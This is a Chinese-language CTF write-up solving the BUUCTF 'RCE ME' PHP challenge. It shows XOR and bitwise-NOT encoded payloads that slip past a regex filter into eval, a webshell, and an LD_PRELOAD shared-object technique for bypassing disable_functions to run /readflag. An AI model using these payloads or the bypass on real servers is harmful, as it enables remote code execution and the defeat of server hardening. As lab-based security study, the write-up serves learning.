从RCE_ME一题来了解如何绕过disable_function

前言

[极客大挑战 2019]RCE ME:https://buuoj.cn/challenges#[极客大挑战 2019]RCE ME

这道题涉及到绕过disable_function限制问题,这里来写一篇文章学习记录一下绕过方法

环境解析

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

这题源码非常简单,就是要绕过正则表达式来执行命令,通过php异或操作即可绕过或通过url编码绕过,主要内容是disable_function禁用了大量的函数导致shell上传成功但无法使用的情况出现使得难度大大提高,这篇文章主要就是来分析如何进行disable_function绕过。

在phpinfo()页面可以发现禁用了非常多的函数,其中包括system、exec、shell_exec等关键执行函数,我们先弄个无文件shell,这里可以使用百度来的exp或者异或出来一个

?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=eval($_POST[%27cmd%27])
<?php
$a = 'assert';
echo urlencode(~$a);
echo "<br />";

$b ='(eval($_POST[cmd]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

通过蚁剑连接

这里可以发现readflag这个文件但是并没有执行权限,所以得绕过disable_function

初探disable_function

参考链接

深入浅出LD_PRELOAD & putenv() - 安全客,安全资讯平台 (anquanke.com)

PHP绕过disable_function限制-转载 | 时刻需 (shikexu.com)

无需sendmail:巧用LD_PRELOAD突破disable_functions - FreeBuf网络安全行业门户

GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)

上传shell和so文件到/var/tmp目录下

我们来看一下如何使用该shell,他这已经写好了example了,我们需要传入三个参数,第一个参数cmd为执行的命令,第二个参数outpath为输入出文件位置,第三个sopath参数为上传的so文件所在位置

这里直接使用之前写的第一条exp来进行执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

成功突破disable_function拿到flag

总结

大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

具体原理现在水平有限没法真正的弄懂,现在先写篇文章记录解法,以后再补上一篇原理。

评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇